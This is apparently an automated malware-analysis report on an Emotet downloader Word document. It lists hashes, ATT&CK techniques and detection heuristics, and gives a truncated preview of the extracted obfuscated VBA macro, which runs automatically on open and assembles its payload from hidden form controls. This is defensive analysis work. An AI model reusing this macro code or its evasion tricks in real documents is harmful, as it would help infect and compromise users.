Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 fb7e08a2a48516ea…

MALICIOUS

Office (OLE)

137.1 KB Created: 2019-05-29 07:15:00 Authoring application: Microsoft Office Word First seen: 2019-08-04
MD5: aa0d80e58baf8a4f8d6e4c9f0aaf0401 SHA-1: 186b1ec6b744bbe71b446bc84e40d2e97ff0dafd SHA-256: fb7e08a2a48516ea543b7183e40ac0ed3f2e2fc566768f6cde218a56b0bbd60c
342 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1137.001 Office Application Startup: Office Application

The sample contains a VBA macro with an AutoOpen function, a common technique for Emotet. The macro utilizes `GetObject` and `CreateObject` with `winmgmts` to launch a process, indicating it's designed to execute a secondary payload. ClamAV also detected this file as a known Emotet downloader.

Heuristics 9

  • ClamAV: Doc.Downloader.Emotet-10001946-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Emotet-10001946-0
  • VBA macros detected medium 5 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA WMI Win32_Process launcher critical OLE_VBA_WMI_PROCESS_CREATE
    VBA macro builds or references a WMI moniker for Win32_Process and invokes .Create to start a command. This is a high-confidence macro execution chain that often hides the WMI class name through string concatenation or helper functions.
  • Dangerous API name reassembled from split string literals critical OLE_VBA_SPLIT_KEYWORD_OBFUSCATION
    VBA concatenates short string literals that reassemble a dangerous API/ProgID/LOLBin name (e.g. Scripting.FileSystemObject, WScript.Shell, powershell, URLDownloadToFile) which appears in no single literal. Splitting an API name across string concatenation is done only to evade keyword scanning.
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 7168 bytes
SHA-256: 275bdd6f5aaddc8820f38c525ec2e4f01af1dbaf7cce29e5c4e39bf5a8eb59cc
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Control = "F0ii_Nc, 0, 0, MSForms, ComboBox"
Attribute VB_Control = "jkC4kkwd, 1, 1, MSForms, ComboBox"
Attribute VB_Control = "Kua8iS, 2, 2, MSForms, ComboBox"
Sub _
autoopen( _
)
   'Debug.Print "z_ZfnC" + ("986" + ("ihOlmU0h") + "SMQwnu" + "46") + "InLKrP" + ("n0TR2Hn") + ("nfluRT" + "vHtOww" + "581" + ("iPZWhWJ4") + ("RBjFosV" + ("ic5UWDz") + "125" + ("728") + ("KtdDcYp7" + ("229"))))
Debug.Print "sEvfGYC" + ("92" + ("qBJVw6D") + "MapNWmid" + "633") + "VuaNlz" + ("zYFoskYs") + ("idlnd5BM" + "ti6Z1dA" + "71" + ("m9UMWWJz") + ("w6Ov9zc" + ("aMZ8L0") + "394" + ("470") + ("MkUFY0sJ" + ("405"))))
rY1EBd
   'Debug.Print "QNSPjK" + ("780" + ("TLa9rpU") + "PXM5kN" + "238") + "HzKIio3M" + ("lpi03j7") + ("Nq2q5fZ" + "VnFAAdoU" + "323" + ("oGft3Ci") + ("RUpJ5PB" + ("OnIA4w") + "302" + ("381") + ("EViPqaj" + ("153"))))
Debug.Print "q2BqOo" + ("96" + ("FwbWLCnf") + "laiU1o" + "57") + "zuVF2J" + ("fdwOqUc") + ("h0WMC6z7" + "RhLBL2A_" + "189" + ("iN2nBC_A") + ("Bs8AFb" + ("qjKZc_5a") + "438" + ("596") + ("RQ3MDvfk" + ("17"))))
End Sub


Attribute VB_Name = "mwoJaI"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "wMQr_zT"

Attribute VB_Name = "Kt58D32s"

Attribute VB_Name = "UlYj1PuR"

Attribute VB_Name = "YYQwvw"

Attribute VB_Name = "oHhtOMq"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "pUORAWwS"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "d2rYRf3N"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "mjnYHtd"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "fYMK3JFw"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "jzd_bMX"
Function rY1EBd()
   'Debug.Print "CNJ5ja" + ("551" + ("Z39zpru") + "JWlVRi" + "14") + "JiWvI3M" + ("CP1q5bo") + ("VTflGXj" + "cs8m58" + "22" + ("KtuFkGMq") + ("acJsiF" + ("ulX_MJ") + "833" + ("666") + ("XV5pisb" + ("63"))))
Debug.Print "mZYaIX" + ("469" + ("AcjSoIv") + "bkQ6Pp" + "234") + "s6cRaW" + ("ZM82zqP") + ("E7DQjzVN" + "DzJuMQ" + "78" + ("wuBKAEoj") + ("k5AnZjT" + ("RIHD5N") + "216" + ("741") + ("nluEkWH" + ("72"))))
Vf8hT5 = ThisDocument.jkC4kkwd + ThisDocument.Kua8iS + ThisDocument.F0ii_Nc
   'Debug.Print "dHRD3Zo6" + ("457" + ("iLwnocE") + "os1znPB" + "364") + "ctfA5z6K" + ("anIjjfh") + ("u03znE2" + "WnYRKmK" + "620" + ("v1tS4b") + ("dQRItB" + ("sq648Cfb") + "728" + ("566") + ("YhZ5VX" + ("96"))))
Debug.Print "j_Yf6R" + ("39" + ("
... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.